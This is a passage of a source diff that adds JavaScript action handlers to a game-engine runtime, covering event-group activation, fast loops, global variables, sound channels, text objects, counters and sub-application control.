+ this.grpActivate(rhPtr, evg);
+ },
+ grpActivate: function (rhPtr, evg)
+ {
+ var evgPtr = rhPtr.rhEvtProg.events[evg];
+ var evtPtr = evgPtr.evgEvents[0];
+ var grpPtr = evtPtr.evtParams[0];
+ var cpt;
+ var bQuit = false;
+
+ if ((grpPtr.grpFlags & PARAM_GROUP.GRPFLAGS_PARENTINACTIVE) == 0)
+ {
+ evgPtr.evgFlags &= ~CEventGroup.EVGFLAGS_INACTIVE;
+
+ for (evg++, bQuit = false, cpt = 1; ;)
+ {
+ evgPtr = rhPtr.rhEvtProg.events[evg];
+ evtPtr = evgPtr.evgEvents[0];
+ switch (evtPtr.evtCode)
+ {
+ case ((-10 << 16) | 65535):
+ grpPtr = evtPtr.evtParams[0];
+ if (cpt == 1)
+ grpPtr.grpFlags &= ~PARAM_GROUP.GRPFLAGS_PARENTINACTIVE;
+ if ((grpPtr.grpFlags & PARAM_GROUP.GRPFLAGS_GROUPINACTIVE) == 0)
+ {
+ evg = this.grpActivate(rhPtr, evg);
+ continue;
+ }
+ else
+ cpt++;
+ break;
+ case ((-11 << 16) | 65535):
+ cpt--;
+ if (cpt == 0)
+ {
+ evgPtr.evgFlags &= ~CEventGroup.EVGFLAGS_INACTIVE;
+ bQuit = true;
+ evg++;
+ }
+ break;
+ case ((-23 << 16) | 65535):
+ if (cpt == 1)
+ {
+ evgPtr.evgFlags &= ~CEventGroup.EVGFLAGS_INACTIVE;
+ evgPtr.evgFlags &= ~CEventGroup.EVGFLAGS_ONCE;
+ }
+ break;
+ default:
+ if (cpt == 1)
+ evgPtr.evgFlags &= ~CEventGroup.EVGFLAGS_INACTIVE;
+ break;
+ }
+ if (bQuit)
+ break;
+ evg++;
+ }
+ }
+ else
+ {
+ for (evg++, bQuit = false, cpt = 1; ; evg++)
+ {
+ evgPtr = rhPtr.rhEvtProg.events[evg];
+ evtPtr = evgPtr.evgEvents[0];
+ switch (evtPtr.evtCode)
+ {
+ case ((-10 << 16) | 65535):
+ cpt++;
+ break;
+ case ((-11 << 16) | 65535):
+ cpt--;
+ if (cpt == 0)
+ {
+ bQuit = true;
+ evg++;
+ }
+ break;
+ }
+ if (bQuit)
+ break;
+ }
+ }
+ return evg;
+ }
+ }
+ // CUT
+
+ function ACT_GRPDEACTIVATE()
+ {
+ }
+ ACT_GRPDEACTIVATE.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var p = this.evtParams[0];
+ var evg = p.pointer;
+ var evgPtr = rhPtr.rhEvtProg.events[evg];
+ var evtPtr = evgPtr.evgEvents[0];
+
+ var grpPtr = evtPtr.evtParams[0];
+ var bFlag = (grpPtr.grpFlags & PARAM_GROUP.GRPFLAGS_GROUPINACTIVE) == 0;
+ grpPtr.grpFlags |= PARAM_GROUP.GRPFLAGS_GROUPINACTIVE;
+
+ if (bFlag == true && (grpPtr.grpFlags & PARAM_GROUP.GRPFLAGS_PARENTINACTIVE) == 0)
+ this.grpDeactivate(rhPtr, evg);
+ },
+ grpDeactivate: function (rhPtr, evg)
+ {
+ var evgPtr = rhPtr.rhEvtProg.events[evg];
+ var evtPtr = evgPtr.evgEvents[0];
+ var grpPtr = evtPtr.evtParams[0];
+
+ evgPtr.evgFlags |= CEventGroup.EVGFLAGS_INACTIVE;
+
+ var cpt;
+ var bQuit, bFlag;
+
+ for (evg++, bQuit = false, cpt = 1; ;)
+ {
+ evgPtr = rhPtr.rhEvtProg.events[evg];
+ evtPtr = evgPtr.evgEvents[0];
+ switch (evtPtr.evtCode)
+ {
+ case ((-10 << 16) | 65535):
+ grpPtr = evtPtr.evtParams[0];
+ bFlag = (grpPtr.grpFlags & PARAM_GROUP.GRPFLAGS_PARENTINACTIVE) == 0;
+ if (cpt == 1)
+ grpPtr.grpFlags |= PARAM_GROUP.GRPFLAGS_PARENTINACTIVE;
+ if (bFlag != false && (grpPtr.grpFlags & PARAM_GROUP.GRPFLAGS_GROUPINACTIVE) == 0)
+ {
+ evg = this.grpDeactivate(rhPtr, evg);
+ continue;
+ }
+ else
+ cpt++;
+ break;
+ case ((-11 << 16) | 65535):
+ cpt--;
+ if (cpt == 0)
+ {
+ evgPtr.evgFlags |= CEventGroup.EVGFLAGS_INACTIVE;
+ bQuit = true;
+ evg++;
+ }
+ break;
+ default:
+ if (cpt == 1)
+ evgPtr.evgFlags |= CEventGroup.EVGFLAGS_INACTIVE;
+ break;
+ }
+ if (bQuit)
+ break;
+
+ evg++;
+ }
+ return evg;
+ }
+ }
+ // CUT
+
+ function ACT_RANDOMIZE()
+ {
+ }
+ ACT_RANDOMIZE.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var seed = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+ rhPtr.rh3Graine = seed;
+ }
+ }
+ // CUT
+
+ function ACT_SETGLOBALSTRING()
+ {
+ }
+ ACT_SETGLOBALSTRING.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var num;
+ if (this.evtParams[0].code == 59)
+ num = (rhPtr.get_EventExpressionInt(this.evtParams[0]) - 1);
+ else
+ num = this.evtParams[0].value;
+
+ var string = rhPtr.get_EventExpressionString(this.evtParams[1]);
+ rhPtr.rhApp.setGlobalStringAt(num, string);
+ }
+ }
+ // CUT
+
+ function ACT_SETLOOPINDEX()
+ {
+ }
+ ACT_SETLOOPINDEX.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var expression = this.evtParams[0];
+ if (expression.tokens[0].code == CExp.EXP_LONG && expression.tokens[1].code == 0)
+ {
+ var number = rhPtr.get_EventExpressionInt(this.evtParams[1]);
+ var pLoop = rhPtr.rh4FastLoops.get(expression.tokens[0].value);
+ pLoop.index = number;
+ }
+ else
+ {
+ var name = rhPtr.get_EventExpressionString(this.evtParams[0]);
+ if (name.length == 0)
+ return;
+ var number = rhPtr.get_EventExpressionInt(this.evtParams[1]);
+
+ var pLoop;
+ var n;
+ for (n = 0; n < rhPtr.rh4FastLoops.size(); n++)
+ {
+ pLoop = rhPtr.rh4FastLoops.get(n);
+ if (CServices.compareStringsIgnoreCase(pLoop.name, name))
+ {
+ pLoop.index = number;
+ return;
+ }
+ }
+ }
+ }
+ }
+ // CUT
+
+ function ACT_SETVARG()
+ {
+ }
+ ACT_SETVARG.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var num;
+ if (this.evtParams[0].code == 52)
+ num = (rhPtr.get_EventExpressionInt(this.evtParams[0]) - 1);
+ else
+ num = this.evtParams[0].value;
+
+ var value = rhPtr.get_EventExpressionAny(this.evtParams[1]);
+ rhPtr.rhApp.setGlobalValueAt(num, value);
+ }
+ }
+ // -- CUT
+
+ function ACT_SETVARGCONST()
+ {
+ }
+ ACT_SETVARGCONST.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ rhPtr.rhApp.setGlobalValueAt(this.num, this.value);
+ }
+ }
+ // CUT
+
+ function ACT_STOPLOOP()
+ {
+ }
+ ACT_STOPLOOP.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var expression = this.evtParams[0];
+ if (expression.tokens[0].code == CExp.EXP_LONG && expression.tokens[1].code == 0)
+ {
+ var pLoop = rhPtr.rh4FastLoops.get(expression.tokens[0].value);
+ pLoop.flags |= CLoop.FLFLAG_STOP;
+ }
+ else
+ {
+ var name = rhPtr.get_EventExpressionString(this.evtParams[0]);
+ if (name.length == 0)
+ return;
+
+ var pLoop;
+ var n;
+ for (n = 0; n < rhPtr.rh4FastLoops.size(); n++)
+ {
+ pLoop = rhPtr.rh4FastLoops.get(n);
+ if (CServices.compareStringsIgnoreCase(pLoop.name, name))
+ pLoop.flags |= CLoop.FLFLAG_STOP;
+ }
+ }
+ }
+ }
+ // CUT
+
+ function ACT_SUBVARG()
+ {
+ }
+ ACT_SUBVARG.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var num;
+ if (this.evtParams[0].code == 52)
+ num = (rhPtr.get_EventExpressionInt(this.evtParams[0]) - 1);
+ else
+ num = this.evtParams[0].value;
+
+ var value = rhPtr.get_EventExpressionAny(this.evtParams[1]);
+ rhPtr.rhApp.addGlobalValueAt(num, -value);
+ }
+ }
+ // -- CUT
+
+ function ACT_SUBVARGCONST()
+ {
+ }
+ ACT_SUBVARGCONST.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ rhPtr.rhApp.addGlobalValueAt(this.num, -this.value);
+ }
+ }
+ // CUT
+
+ function ACT_STARTLOOP()
+ {
+ }
+ ACT_STARTLOOP.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var name;
+ var number;
+
+ // Accelerated handling
+ if (rhPtr.rhEvtProg.complexOnLoop == false && this.evtParams[0].fastFastLoop)
+ {
+ var infoLoop = rhPtr.rh4PosOnLoop[this.evtParams[0].fastFastLoop - 1];
+ if (infoLoop.m_bOR == false)
+ {
+ //name = infoLoop.name;
+ number = Math.floor(rhPtr.get_EventExpressionInt(this.evtParams[1]));
+
+ var pLoop = rhPtr.rh4FastLoops.get(infoLoop.fastLoopIndex);
+ pLoop.flags &= ~CLoop.FLFLAG_STOP;
+
+ var bInfinite = false;
+ if (number < 0)
+ {
+ bInfinite = true;
+ number = 10;
+ }
+ var save = rhPtr.rh4CurrentFastLoop;
+ var actionLoop = rhPtr.rhEvtProg.rh2ActionLoop;
+ var actionLoopCount = rhPtr.rhEvtProg.rh2ActionLoopCount;
+ var eventGroup = rhPtr.rhEvtProg.rhEventGroup;
+ for (pLoop.index = 0; pLoop.index < number; pLoop.index++)
+ {
+ rhPtr.rh4CurrentFastLoop = pLoop.name;
+ rhPtr.rhEvtProg.rh2ActionOn = false;
+ rhPtr.rhEvtProg.computeEventFastLoopList(infoLoop.pointers);
+ if ((pLoop.flags & CLoop.FLFLAG_STOP) != 0)
+ break;
+ if (bInfinite)
+ number = pLoop.index + 10;
+ }
+ rhPtr.rhEvtProg.rh2ActionLoopCount = actionLoopCount;
+ rhPtr.rhEvtProg.rh2ActionLoop = actionLoop;
+ rhPtr.rh4CurrentFastLoop = save;
+ rhPtr.rhEvtProg.rh2ActionOn = true;
+
+ // rhPtr.rh4FastLoops.removeIndex(index);
+ return;
+ }
+ }
+
+ // Normal handling
+ name = rhPtr.get_EventExpressionString(this.evtParams[0]);
+ if (name.length == 0)
+ return;
+ number = Math.floor(rhPtr.get_EventExpressionInt(this.evtParams[1]));
+
+ var index = rhPtr.addFastLoop(name);
+ var pLoop = rhPtr.rh4FastLoops.get(index);
+ pLoop = rhPtr.rh4FastLoops.get(index);
+ pLoop.flags &= ~CLoop.FLFLAG_STOP;
+
+ var bInfinite = false;
+ if (number < 0)
+ {
+ bInfinite = true;
+ number = 10;
+ }
+ var save = rhPtr.rh4CurrentFastLoop;
+ var actionLoop = rhPtr.rhEvtProg.rh2ActionLoop;
+ var actionLoopCount = rhPtr.rhEvtProg.rh2ActionLoopCount;
+ var eventGroup = rhPtr.rhEvtProg.rhEventGroup;
+ for (pLoop.index = 0; pLoop.index < number; pLoop.index++)
+ {
+ rhPtr.rh4CurrentFastLoop = pLoop.name;
+ rhPtr.rhEvtProg.rh2ActionOn = false;
+ rhPtr.rhEvtProg.handle_GlobalEvents(((-16 << 16) | 65535));
+ if ((pLoop.flags & CLoop.FLFLAG_STOP) != 0)
+ break;
+ if (bInfinite)
+ number = pLoop.index + 10;
+ }
+ // rhPtr.rhEvtProg.rhEventGroup=eventGroup;
+ rhPtr.rhEvtProg.rh2ActionLoopCount = actionLoopCount;
+ rhPtr.rhEvtProg.rh2ActionLoop = actionLoop;
+ rhPtr.rh4CurrentFastLoop = save;
+ rhPtr.rhEvtProg.rh2ActionOn = true;
+
+ //rhPtr.rh4FastLoops.removeIndex(index);
+ }
+ }
+ // CUT
+
+
+ // Keyboard object
+ // ------------------------------------------------------------------
+ function ACT_HIDECURSOR()
+ {
+ }
+ ACT_HIDECURSOR.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ if (rhPtr.rhMouseUsed == 0)
+ rhPtr.hideMouse();
+ }
+ }
+ // CUT
+
+ function ACT_SHOWCURSOR()
+ {
+ }
+ ACT_SHOWCURSOR.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ if (rhPtr.rhMouseUsed == 0)
+ rhPtr.showMouse();
+ }
+ }
+ // CUT
+
+ // Speaker object
+ // ------------------------------------------------------------------
+ function ACT_LOCKCHANNEL()
+ {
+ }
+ ACT_LOCKCHANNEL.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var channel = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+ rhPtr.rhApp.soundPlayer.lockChannel(channel - 1);
+ }
+ }
+ // CUT
+
+ function ACT_PAUSEALLCHANNELS()
+ {
+ }
+ ACT_PAUSEALLCHANNELS.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ rhPtr.rhApp.soundPlayer.pause();
+ }
+ }
+ // CUT
+
+ function ACT_PAUSECHANNEL()
+ {
+ }
+ ACT_PAUSECHANNEL.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var channel = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+ rhPtr.rhApp.soundPlayer.pauseChannel(channel - 1);
+ }
+ }
+ // CUT
+
+ function ACT_PAUSESAMPLE()
+ {
+ }
+ ACT_PAUSESAMPLE.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var p = this.evtParams[0];
+ rhPtr.rhApp.soundPlayer.pauseSample(p.sndHandle);
+ }
+ }
+ // CUT
+
+ function ACT_PLAYCHANNEL()
+ {
+ }
+ ACT_PLAYCHANNEL.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var p = this.evtParams[0];
+ var bPrio = (p.sndFlags & PARAM_SAMPLE.PSOUNDFLAG_UNINTERRUPTABLE) != 0;
+ var channel = rhPtr.get_EventExpressionInt(this.evtParams[1]);
+ rhPtr.rhApp.soundPlayer.play(p.sndHandle, 1, channel - 1, bPrio);
+ }
+ }
+ // CUT
+
+ function ACT_PLAYLOOPCHANNEL()
+ {
+ }
+ ACT_PLAYLOOPCHANNEL.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var p = this.evtParams[0];
+ var bPrio = (p.sndFlags & PARAM_SAMPLE.PSOUNDFLAG_UNINTERRUPTABLE) != 0;
+ var channel = rhPtr.get_EventExpressionInt(this.evtParams[1]);
+ var nLoops = rhPtr.get_EventExpressionInt(this.evtParams[2]);
+ rhPtr.rhApp.soundPlayer.play(p.sndHandle, nLoops, channel - 1, bPrio);
+ }
+ }
+ // CUT
+
+ function ACT_PLAYLOOPSAMPLE()
+ {
+ }
+ ACT_PLAYLOOPSAMPLE.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var p = this.evtParams[0];
+ var nLoops = rhPtr.get_EventExpressionInt(this.evtParams[1]);
+ var bPrio = (p.sndFlags & PARAM_SAMPLE.PSOUNDFLAG_UNINTERRUPTABLE) != 0;
+ rhPtr.rhApp.soundPlayer.play(p.sndHandle, nLoops, -1, bPrio);
+ }
+ }
+ // CUT
+
+ function ACT_PLAYSAMPLE()
+ {
+ }
+ ACT_PLAYSAMPLE.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var p = this.evtParams[0];
+ var bPrio = (p.sndFlags & PARAM_SAMPLE.PSOUNDFLAG_UNINTERRUPTABLE) != 0;
+ rhPtr.rhApp.soundPlayer.play(p.sndHandle, 1, -1, bPrio);
+ }
+ }
+ // CUT
+
+ function ACT_RESUMEALLCHANNELS()
+ {
+ }
+ ACT_RESUMEALLCHANNELS.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ rhPtr.rhApp.soundPlayer.resume();
+ }
+ }
+ // CUT
+
+ function ACT_RESUMECHANNEL()
+ {
+ }
+ ACT_RESUMECHANNEL.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var channel = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+ rhPtr.rhApp.soundPlayer.resumeChannel(channel - 1);
+ }
+ }
+ // CUT
+
+ function ACT_RESUMESAMPLE()
+ {
+ }
+ ACT_RESUMESAMPLE.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var p = this.evtParams[0];
+ rhPtr.rhApp.soundPlayer.resumeSample(p.sndHandle);
+ }
+ }
+ // CUT
+
+ function ACT_SETCHANNELPOS()
+ {
+ }
+ ACT_SETCHANNELPOS.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var channel = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+ var position = rhPtr.get_EventExpressionInt(this.evtParams[1]);
+ if (position >= 0)
+ rhPtr.rhApp.soundPlayer.setPositionChannel(channel - 1, position);
+ }
+ }
+ // CUT
+
+ function ACT_SETCHANNELFREQ()
+ {
+ }
+ ACT_SETCHANNELFREQ.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var channel = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+ var freq = rhPtr.get_EventExpressionInt(this.evtParams[1]);
+ if (freq >= 0)
+ rhPtr.rhApp.soundPlayer.setFrequencyChannel(channel - 1, freq);
+ }
+ }
+ // CUT
+
+ function ACT_SETCHANNELVOL()
+ {
+ }
+ ACT_SETCHANNELVOL.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var channel = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+ var volume = rhPtr.get_EventExpressionInt(this.evtParams[1]);
+ if (volume >= 0 && volume <= 100)
+ rhPtr.rhApp.soundPlayer.setVolumeChannel(channel - 1, volume);
+ }
+ }
+ // CUT
+
+ function ACT_RESUMESAMPLE()
+ {
+ }
+ ACT_RESUMESAMPLE.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var p = this.evtParams[0];
+ rhPtr.rhApp.soundPlayer.resumeSample(p.sndHandle);
+ }
+ }
+ // CUT
+
+ function ACT_SETSAMPLEMAINVOL()
+ {
+ }
+ ACT_SETSAMPLEMAINVOL.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var volume = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+ if (volume >= 0 && volume <= 100)
+ rhPtr.rhApp.soundPlayer.setMainVolume(volume);
+ }
+ }
+ // CUT
+
+ function ACT_SETSAMPLEPOS()
+ {
+ }
+ ACT_SETSAMPLEPOS.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var sample = this.evtParams[0].sndHandle;
+ var position = rhPtr.get_EventExpressionInt(this.evtParams[1]);
+ if (position >= 0)
+ rhPtr.rhApp.soundPlayer.setPositionSample(sample, position);
+ }
+ }
+ // CUT
+
+ function ACT_SETSAMPLEFREQ()
+ {
+ }
+ ACT_SETSAMPLEFREQ.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var sample = this.evtParams[0].sndHandle;
+ var freq = rhPtr.get_EventExpressionInt(this.evtParams[1]);
+ if (freq >= 0)
+ rhPtr.rhApp.soundPlayer.setFrequencySample(sample, freq);
+ }
+ }
+ // CUT
+
+ function ACT_SETSAMPLEVOL()
+ {
+ }
+ ACT_SETSAMPLEVOL.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var sample = this.evtParams[0].sndHandle;
+ var volume = rhPtr.get_EventExpressionInt(this.evtParams[1]);
+ if (volume >= 0 && volume <= 100)
+ rhPtr.rhApp.soundPlayer.setVolumeSample(sample, volume);
+ }
+ }
+ // CUT
+
+ function ACT_STOPCHANNEL()
+ {
+ }
+ ACT_STOPCHANNEL.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var channel = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+ rhPtr.rhApp.soundPlayer.stopChannel(channel - 1);
+ }
+ }
+ // CUT
+
+ function ACT_STOPSAMPLE()
+ {
+ }
+ ACT_STOPSAMPLE.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ rhPtr.rhApp.soundPlayer.stopAllSounds();
+ }
+ }
+ // CUT
+
+ function ACT_STOPSPESAMPLE()
+ {
+ }
+ ACT_STOPSPESAMPLE.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var p = this.evtParams[0];
+ rhPtr.rhApp.soundPlayer.stopSample(p.sndHandle);
+ }
+ }
+ // CUT
+
+ function ACT_UNLOCKCHANNEL()
+ {
+ }
+ ACT_UNLOCKCHANNEL.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var channel = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+ rhPtr.rhApp.soundPlayer.unlockChannel(channel - 1);
+ }
+ }
+ // CUT
+
+ // String object
+ // ------------------------------------------------------------------
+ function ACT_STRDESTROY()
+ {
+ }
+ ACT_STRDESTROY.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo != null)
+ {
+ if ((pHo.rsHidden & CRun.COF_FIRSTTEXT) != 0)
+ {
+ pHo.ros.obHide();
+ pHo.ros.rsFlags &= ~CRSpr.RSFLAG_VISIBLE;
+ pHo.hoFlags |= CObject.HOF_NOCOLLISION;
+ }
+ else
+ {
+ pHo.hoFlags |= CObject.HOF_DESTROYED;
+ rhPtr.destroy_Add(pHo.hoNumber);
+ }
+ }
+ }
+ }
+ // CUT
+
+ function ACT_STRDISPLAY()
+ {
+ }
+ ACT_STRDISPLAY.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var p = this.evtParams[1];
+ rhPtr.txtDoDisplay(this, p.value);
+ }
+ }
+ // CUT
+
+ function ACT_STRDISPLAYDURING()
+ {
+ }
+ ACT_STRDISPLAYDURING.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var p = this.evtParams[1];
+ var num = rhPtr.txtDoDisplay(this, p.value);
+ if (num >= 0)
+ {
+ var p2 = this.evtParams[2];
+ var hoPtr = rhPtr.rhObjectList[num];
+ if (p2.code == 2) // PARAM_TIME
+ {
+ hoPtr.ros.rsFlash = p2.timer;
+ hoPtr.ros.rsFlashCpt = p2.timer;
+ }
+ else
+ {
+ hoPtr.ros.rsFlash = rhPtr.get_EventExpressionInt(p2);
+ hoPtr.ros.rsFlashCpt = hoPtr.ros.rsFlash;
+ }
+ }
+ }
+ }
+ // CUT
+
+ function ACT_STRDISPLAYSTRING()
+ {
+ }
+ ACT_STRDISPLAYSTRING.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo != null)
+ {
+ pHo.txtChange(-1);
+ }
+ }
+ }
+ // CUT
+
+ function ACT_STRNEXT()
+ {
+ }
+ ACT_STRNEXT.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo != null)
+ {
+ var num = pHo.rsMini + 1;
+ pHo.txtChange(num);
+ }
+ }
+ }
+ // CUT
+
+ function ACT_STRPREV()
+ {
+ }
+ ACT_STRPREV.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo != null)
+ {
+ var num = pHo.rsMini - 1;
+ if (num < 0)
+ num = 0;
+ pHo.txtChange(num);
+ }
+ }
+ }
+ // CUT
+
+ function ACT_STRSET()
+ {
+ }
+ ACT_STRSET.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo != null)
+ {
+ var text;
+ if (this.evtParams[0].code == 31)
+ text = this.evtParams[0].value;
+ else
+ text = rhPtr.get_EventExpressionInt(this.evtParams[0]) - 1;
+ pHo.txtChange(text)
+ }
+ }
+ }
+ // CUT
+
+ function ACT_STRSETCOLOUR()
+ {
+ }
+ ACT_STRSETCOLOUR.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo != null)
+ {
+ var color;
+ if (this.evtParams[0].code == 24)
+ color = this.evtParams[0].color;
+ else
+ {
+ color = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+ color = CServices.swapRGB(color);
+ }
+ CRun.setObjectTextColor(pHo, color);
+ }
+ }
+ }
+ // CUT
+
+ function ACT_STRSETSTRING()
+ {
+ }
+ ACT_STRSETSTRING.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo != null)
+ {
+ var text = rhPtr.get_EventExpressionString(this.evtParams[0]);
+ if (pHo.rsTextBuffer == null || (pHo.rsTextBuffer != null && text != pHo.rsTextBuffer))
+ {
+ pHo.txtSetString(text);
+ pHo.txtChange(-1);
+ }
+ }
+ }
+ }
+ // CUT
+
+ // Counter object
+ // ------------------------------------------------------------------
+ function ACT_CADDVALUE()
+ {
+ }
+ ACT_CADDVALUE.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+ var pValue = rhPtr.get_EventExpressionAny(this.evtParams[0]);
+ pHo.cpt_Add(pValue);
+ }
+ }
+ // CUT
+
+ function ACT_CSETCOLOR1()
+ {
+ }
+ ACT_CSETCOLOR1.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+
+ var color;
+ if (this.evtParams[0].code == CParam.PARAM_EXPRESSIONNUM)
+ {
+ color = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+ color = CServices.swapRGB(color);
+ }
+ else
+ color = this.evtParams[0].color;
+
+ pHo.cpt_SetColor1(color);
+ }
+ }
+ // CUT
+
+ function ACT_CSETCOLOR2()
+ {
+ }
+ ACT_CSETCOLOR2.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+
+ var color;
+ if (this.evtParams[0].code == CParam.PARAM_EXPRESSIONNUM)
+ {
+ color = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+ color = CServices.swapRGB(color);
+ }
+ else
+ color = this.evtParams[0].color;
+
+ pHo.cpt_SetColor2(color);
+ }
+ }
+ // CUT
+
+ function ACT_CSETMAX()
+ {
+ }
+ ACT_CSETMAX.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+
+ var pValue = rhPtr.get_EventExpressionAny(this.evtParams[0]);
+ pHo.cpt_SetMax(pValue);
+ }
+ }
+ // CUT
+
+ function ACT_CSETMIN()
+ {
+ }
+ ACT_CSETMIN.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+
+ var pValue = rhPtr.get_EventExpressionAny(this.evtParams[0]);
+ pHo.cpt_SetMin(pValue);
+ }
+ }
+ // CUT
+
+ function ACT_CSETVALUE()
+ {
+ }
+ ACT_CSETVALUE.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+
+ var pValue = rhPtr.get_EventExpressionAny(this.evtParams[0]);
+ pHo.cpt_ToFloat(pValue);
+ pHo.cpt_Change(pValue);
+ }
+ }
+ // CUT
+
+ function ACT_CSUBVALUE()
+ {
+ }
+ ACT_CSUBVALUE.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+
+ var pValue = rhPtr.get_EventExpressionAny(this.evtParams[0]);
+ pHo.cpt_Sub(pValue);
+ }
+ }
+ // CUT
+
+ // Sub-application object
+ // ------------------------------------------------------------------
+ function ACT_CCAENDAPP()
+ {
+ }
+ ACT_CCAENDAPP.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+ pHo.endApp();
+ }
+ }
+ // CUT
+
+ function ACT_CCAHIDE()
+ {
+ }
+ ACT_CCAHIDE.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+ pHo.hide();
+ }
+ }
+ // CUT
+
+ function ACT_CCAJUMPFRAME()
+ {
+ }
+ ACT_CCAJUMPFRAME.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+
+ var frame = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+ pHo.jumpFrame(frame);
+ }
+ }
+ // CUT
+
+ function ACT_CCANEXTFRAME()
+ {
+ }
+ ACT_CCANEXTFRAME.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+ pHo.nextFrame();
+ }
+ }
+ // CUT
+
+ function ACT_CCAPAUSEAPP()
+ {
+ }
+ ACT_CCAPAUSEAPP.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+ pHo.pause();
+ }
+ }
+ // CUT
+
+ function ACT_CCAPREVIOUSFRAME()
+ {
+ }
+ ACT_CCAPREVIOUSFRAME.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+ pHo.previousFrame();
+ }
+ }
+ // CUT
+
+ function ACT_CCARESTARTAPP()
+ {
+ }
+ ACT_CCARESTARTAPP.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+ pHo.restartApp();
+ }
+ }
+ // CUT
+
+ function ACT_CCARESTARTFRAME()
+ {
+ }
